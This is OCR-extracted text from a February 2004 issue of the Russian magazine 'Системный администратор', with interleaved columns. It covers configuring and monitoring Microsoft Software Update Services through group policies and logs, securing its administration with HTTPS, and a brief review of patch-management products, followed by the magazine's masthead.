можно воспользоваться стандартной утилитой reg.exe, вхо- 2003-12-28 14:17:07 11:17:07 Success IUENGINE ↵
дящей в Windows XP/2003 и ResourceKit для Windows 2000. Querying software update catalog from ↵
http://SUSserver/autoupdate/getmanifest.asp
Для ее работы необходимо, чтобы на удаленной машине 2003-12-29 10:11:55 07:11:55 Success IUENGINE ↵
была запущена «Служба удаленного управления реест- Install started
2003-12-29 10:13:28 07:13:28 Success IUENGINE ↵
ром» и пользователь, под которым будет производиться See iuhist.xml for details: Install finished
подключение к компьютеру, имел права на запись значе-
ний в соответствующие ключи реестра. В этом файле подробно журналируются все действия
Однако на практике эти требования далеко не всегда клиента. Содержимое этого файла достаточно прозрач-
бывают выполнимы, поэтому более целесообразно ис- но и скорее всего не вызовет проблем в понимании.
пользовать домен и групповые политики. Кроме того, в папке c:\Program Files\WindowsUpdate
в файле uihist.xml хранится история установки всех об-
Групповые политики новлений для данной машины.
Групповые политики являются универсальным сред- В системном журнале появляются события, содер-
ством администрирования компьютеров, входящих в жащие информацию о работе клиента:
Windows 2000/2003 домен. Они позволяют достаточно
гибко настраивать как отдельные машины, так и не-
сколько машин, объединенных в группы безопасности
или размещенных в организационных единицах. Это до-
стигается привязкой групповых политик к организаци-
онным единицам и редактированию их параметров бе-
зопасности.
Используя групповые политики, можно быстро настро-
ить клиента автоматических обновлений, как на тестовой
группе машин, так и на всех машинах, входящих в до-
мен. Кроме того, можно определять различные настрой-
ки для различных организационных единиц домена.
Для настройки клиента автоматического обновления
с помощью групповых политик можно использовать стан-
дартный для Windows 2003 Server административный
шаблон wuau.adm. Для Windows 2000 Server этот шаб-
лон может быть загружен с сайта Microsoft. Настройка
производится заданием соответствующих значений по-
литик компьютера, расположенных по следующему пути:
Computer Settings → Administrative Templates → Windows
Components → Windows Update.
Здесь при помощи стандартного редактора группо-
вых политик можно легко и просто настроить все то, что
выше мы задавали через реестр. Согласитесь, этот спо-
соб гораздо проще, однако для него нужен Windows 2000 Эта информация может быть полезна при мониторин-
домен. ге работы системы обновлений, особенно если исполь-
зуется какая-нибудь система централизованного мони-
торинга журналов событий.
Читаем журналы
При своей работе система автоматического обновления На стороне сервера
ведет журналы в нескольких местах: на SUS-сервере, на Так как SUS работает на IIS, то все сообщения, касающие-
каждом клиенте и в системном журнале. Некоторые из ся его работы, нужно искать в журналах IIS. По умолчанию,

92
безопасность
журнал IIS находится в %SYSTEMROOT%\LogFiles\W3SVC1, новления, отследить которую можно по содержимому сле-
его файлы называются по текущей дате и с установлен- дующего ключа реестра:
ным SUS содержат записи следующего вида:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ ↵
2002-03-25 19:08:48 127.0.0.1 – 127.0.0.1 ↵ CurrentVersion\WindowsUpdate\Auto Update
80 POST /autoupdate/getmanifest.asp - 200 ↵
Mozilla/4.0+(compatible;+Win32;+WinHttp.WinHttpRequest.5) Значение DetectionStartTime этого ключа хранит вре-
мя последнего обращения к серверу обновлений.
Посмотрим на эту строчку более подробно. Смысл Необходимо отметить, что этот способ применим толь-
первых двух полей достаточно очевиден. Третье поле ко для компьютеров, настройка клиентов которых про-
показывает IP-адрес клиента, который обратился к сер- водилась с помощью редактирования реестра. Дело в
веру, в четвертом поле указывается IP-адрес сервера, том, что при использовании групповых политик опция,
пятое – порт, на который было обращение, шестое – включающая и отключающая клиента, недоступна, пока
метод HTTP запроса клиента (GET, POST, HEAD, PUT, к машине применяется групповая политика, конфигури-
DELETE и т. д.), седьмое указывает файл, к которому рующая автоматические обновления. Таким образом, для
обратился клиент, восьмое – http-код, который вернул того чтобы инициировать цикл обновления, необходимо
IIS. Если IIS сконфигурирован правильно, то возвраща- либо отключить политику, определяющую настройку
емый им код всегда будет равен 200. Девятое поле иден- Windows Update, либо перенести машину в другую орга-
тифицирует клиента Windows Update. Если все сконфи- низационную единицу, к которой эта политика не приме-
гурировано правильно, то в журнале IIS будет пример- няется. После этого нужно применить новые политики и,
но следующее: отредактировав настройки клиента, инициировать обра-
щение к серверу SUS. Для применения групповых поли-
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵ тик в случае Windows 2000 можно воспользоваться про-
HEAD /content/q828750_6f9e9c85178a4c12d6168f6ee4dbe98.exe - ↵
200 Microsoft+BITS/6.2 граммой secedit, в случае Windows XP/2003 – gpupdate.
Если не хочется разбираться с синтаксисом этих команд,
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵
HEAD /content/q824145_76dd839870a655458701c0b937b91d6.exe - ↵ можно просто перезагрузить компьютер.
200 Microsoft+BITS/6.2

2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵


HEAD /content/WindowsXP-KB828035-x86- ↵
Завинчиваем гайки,
ENU_d911770163b58b6809b00f033230b46.exe - ↵
200 Microsoft+BITS/6.2 включаем https
Как мы уже видели выше, интерфейс администрирова-
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 ↵
HEAD /content/WindowsXP-KB825119-x86- ↵ ния SUS-сервера по http доступен локальному админист-
ENU_1b9f23b64b002d1e9d1eaba62f5f8fd.exe - ↵ ратору сервера сразу после установки. Однако иногда
200 Microsoft+BITS/6.2
бывает необходимо администрировать некоторые служ-
Здесь мы видим, как клиент с IP-адресом 192.168.10 бы (компоненты) сервера удаленно, либо в рамках все той
успешно загружает обновления с SUS-сервера. Процесс же локальной сети, либо через Интернет. В случае SUS
их установки можно отследить либо по системному жур- это совсем просто, т.к. его администрирование уже осу-
налу, либо по лог-файлу на клиенте. ществляется через веб-интерфейс и ничто не мешает нам
сделать его общедоступным, настроив соответствующим
Инициируем подключение образом IIS. С точки зрения элементарной безопасности,
настраивая удаленное администрирование в IIS, следует
клиента соблюдать несколько простых правил:
На первых этапах, когда производится настройка систе- ! разрешить доступ к узлу только администраторам, ис-
мы, для проверки правильности настроек довольно час- пользуя встроенную проверку паролей IIS;
то возникает необходимость принудительно иницииро- ! организовывать доступ к администрированию узла по
вать обращения клиента к серверу. По умолчанию кли- протоколу https, используя 128-битное шифрование;
ент Windows Update производит обращение один раз за ! по возможности использовать ограничение доступа по
17-22 часа и для того, чтобы инициировать «внеплано- IP-адресам.
вое» подключение, приходится вооружаться известным
ударным инструментом и осуществлять некоторые ша- Для выполнения этих требований вам понадобится
манские действия: сертификат для веб-сервера IIS, получить который мож-
1. Сконфигурировать клиента стандартными средствами но, создав свой собственный центр сертификации с по-
(Панель управления для 2000, свойства компьютера мощью средств Windows Server 2000/2003.
для XP). Для разрешения административного доступа по https
2. Выключить клиента (либо через его настройки, либо необходимо в настройках безопасности каталога веб-сер-
остановив соответствующую службу). вера IIS включить опцию «Требуется безопасный канал
3. Подождать несколько секунд и включить его снова. (SSL)» для следующих каталогов:

В течение некоторого времени (обычно это 5-10 ми- \autoupdate\administration


\autoupdate\dictionaries
нут) клиент предпримет очередную попытку загрузить об- \Shared

№2(15), февраль 2004 93


безопасность
\Content\EULA не 2004 года на рынок будет выпущен SUS версии 2.0.
\Content\RTF По предварительной информации от самой Microsoft (на
момент написания этих строк продукт еще находился в
Также настоятельно рекомендуется включить опцию стадии бета-тестирования) одним из самых значимых но-
«Требуется 128-разрядное шифрование». Это позволит вовведений в следующей версии будет переход от об-
обеспечить достаточную безопасность при передаче па- новления только операционной системы Windows к об-
роля через Интернет. новлению разнообразных приложений от Microsoft (SQL
Server, Office, Exchange и другие). Для этого компанией
Microsoft буден создан специальный сайт, содержащий
Будущее SUS все обновления для ее основных продуктов – Microsoft
К слову сказать, SUS 1.0 является «бюджетным» реше- Update. Кроме того, в SUS 2.0 будет реализован более
нием, позволяющим организовать автоматическую ус- полный контроль над процессом установки обновлений,
тановку только критических обновлений ОС Windows произойдет уменьшение размеров скачиваемых запла-
2000/XP/2003. С его помощью нельзя устанавливать об- ток (технология Delta patching), а также появится возмож-
новления для других программных продуктов, в том чис- ность полного отката установленного патча (Windows
ле и от Microsoft. Специально для этих целей Microsoft Installer 3.0). Так что ждем SUS 2.0.
предлагает (уже не бесплатно) отдельный продукт – Огромное спасибо за помощь в написании статьи
System Management Services, позволяющий решать бо- Дмитрию Косинову.
лее широкий спектр административных задач, в том
числе и установку обновлений для любых программ. Используемые материалы:
Однако, по всей видимости, Microsoft не собирается http://go.microsoft.com/fwlink/?LinkId=6930
ставить крест на бесплатном SUS. Так, в первой полови- http://support.microsoft.com/default.aspx?kbid=326693

Обзор рынка ПО для обновлений


St. Bernard Software UpdateExpert представляет также урезанный бесплатный вариант про-
(http://www.stbernard.com/) граммы – HFNetChkLT.
Поддерживает: Microsoft Windows NT/2000/XP, IIS, SQL
Server, Exchange Server, IE, Outlook Express, Windows Media Ecora Patch Manager
Player, Windows Media Services, NetMeeting, Microsoft Office, (http://www.ecora.com/)
MDAC, ISA Server. Поддерживает: Sun Solaris, Windows NT/2000/XP/2003, MS-
Особенности: SQL Server, MSDE, Exchange 5.5 & 2000, Office 2000/XP,
! возможность работы без установки агента на клиентс- Windows Media Player, IE, IIS, MDAC.
кую машину; Особенности:
! ориентация на крупные организации; ! встроенный планировщик заданий;
! поддержка Active Directory. ! гибкий механизм оповещения о различных событиях;
! кросс-платформенность.
Созданный с ориентацией на крупные организации,
этот продукт поддерживает Active Directory и позволяет Схожий по функциональности с HFNetChkPro, этот
удобно работать с большими массивами компьютеров. продукт обладает встроенным планировщиком заданий
Примечательная особенность UpdateExpert – возмож- и гибкой системой оповещения о появлении в базе но-
ность работы с конечными машинами без установки аген- вых обновлений, удачном сканировании и подобных со-
та на них. бытиях. Patch Manager является кросс-платформенным
решением, не ограничиваясь только платформой
Shavlik HFNetChkPro Windows.
(http://www.shavlik.com/)
Поддерживает: Microsoft Windows NT/2000/XP/Server 2003, PatchLink Update
Exchange, SQL Server, Outlook, Microsoft Office, Java Virtual (http://www.patchlink.com/)
Machine, Internet Explorer, IIS, Windows Media Player, Поддерживает: Microsoft Windows NT/2000/XP/Server 2003,
Microsoft Data Access Components (MDAC), ISA Server, Unix, Linux, NetWare.
Commerce Server, .NET Framework. Особенности:
Особенности: ! ориентация на крупные организации;
! ориентация на продукты Microsoft; ! возможность работы в «клиент-серверном» режиме;
! поддержка Active Directory; ! кросс-платформенность.
! бесплатный урезанный вариант HFNetChkLT.
Продукт поддерживает большое число систем и об-
Продукт, ориентированный в первую очередь на об- ладает довольно удобным интерфейсом управления. Од-
новление программам от Microsoft. К сожалению, рабо- нако могут возникнуть некоторые трудности в его уста-
той с ними он в основном и ограничивается. Компания новке.

94
подписка

Продолжается подписка на I полугодие 2004 г.


Более подробная информация на сайте www.samag.ru
в разделе «Подписка»

Единый
подписной
индекс:

81655
по каталогу
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№2(15), февраль 2004 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№2(15), Февраль, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редактор Свободный антивирус Свободная ДОС
Андрей Бешков До недавнего времени об установке для свободных людей
Научно-технические консультанты антивируса под UNIX-системы никто, (или не Linux единым
Дмитрий Горяинов пожалуй, не думал, но события пос- жив человек)
Валерий Цуканов ледних лет изменили коренным обра- Когда говорят об ОС, обозначаемой аб-
зом подход к этому вопросу. Теперь бревиатурой DOS, мало кто задумыва-
РЕКЛАМНАЯ СЛУЖБА антивирус под эти системы ставят не ется – о какой же Дисковой Операци-
тел./факс: (095) 928-8253 только для обезвреживания вирусов онной Системе идет речь. Обозначение
Константин Меделян при использовании UNIX-систем в ка- целого класса ОС для большинства лю-
reсlama@samag.ru честве платформы для почтовых и дей стало синонимом лишь одного-
файловых серверов локальных сетей, единственного его представителя – MS
Верстка и оформление но и для локальной защиты пользо- DOS фирмы Microsoft, последняя вер-
imposer@samag.ru вательских данных от деструктивных сия которой вышла вот уже десять лет
maker_up@samag.ru действий вирусов. При этом антиви- назад, и которая давно завершила свое
Дизайн обложки русы должны обладать возможностью развитие. Однако до сих пор в эксплуа-
Николай Петрочук обнаруживать все существующие на тации остается огромное число про-
данный момент вирусы как для UNIX, грамм, работающих в среде и написан-
103045, г. Москва, так и для Windows-систем, а также ных под эту нетребовательную к ресур-
Ананьевский переулок, дом 4/2 стр. 1 макровирусы. Наибольшей популяр- сам ОС, и не меньшее число морально
тел./факс: (095) 928-8253 ностью среди антивирусов пользует- устаревших компьютеров, прекрасно
Е-mail: info@samag.ru ся DrWeb, обладающий действитель- работающих под ней. Как же быть? Я
Internet: www.samag.ru но хорошими характеристиками и эв- бы посоветовал обратить внимание на
ристическим анализатором, позволя- FreeDOS, изначально написанную Джи-
РУКОВОДИТЕЛЬ ПРОЕКТА ющим иногда обнаружить неизвест- мом Холлом, а сейчас развивающуюся
Петр Положевец ный вирус. Все, в общем, хорошо, но при участии целой команды разработ-
УЧРЕДИТЕЛИ собрав полностью сервер из бесплат- чиков из разных концов света.
Владимир Положевец ных компонентов, выбить финансы,
Александр Михалев для того чтобы платить за лицензию, С Юниксом на vi
под конец года не получилось. А ог- Операционные системы UNIX считают-
ИЗДАТЕЛЬ раничения ознакомительной версии, ся недружественными по отношению к
ЗАО «Издательский дом в частности отсутствие возможнос- пользователям. Одним из олицетворе-
«Учительская газета» ти проверки архивов, мне не совсем ний этого называют редактор vi. По
подходят. В Интернете я постоянно мере того, как набирает обороты Linux,
Отпечатано типографией натыкался на другие антивирусы и среди его пользователей все большую
ГП «Московская Типография №13» мне захотелось поискать замену (или популярность приобретают более при-
Тираж 6600 экз. убедиться в отсутствии таковой, что вычные редакторы, и старый добрый vi
Журнал зарегистрирован тоже хорошо). В результате я вышел начинает забываться. Тем не менее
в Министерстве РФ по делам печати, на несколько довольно интересных этот редактор обладает функциональ-
телерадиовещания и средств мас- проектов, о которых речь пойдет в ностью, универсальностью и удобством
совых коммуникаций (свидетельство этой статье. работы.
ПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственность


несет автор. За содержание рекламно-
Наши партнеры
го обьявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены. Ре-
дакция оставляет за собой право изме-
нять содержание следующих номеров.

96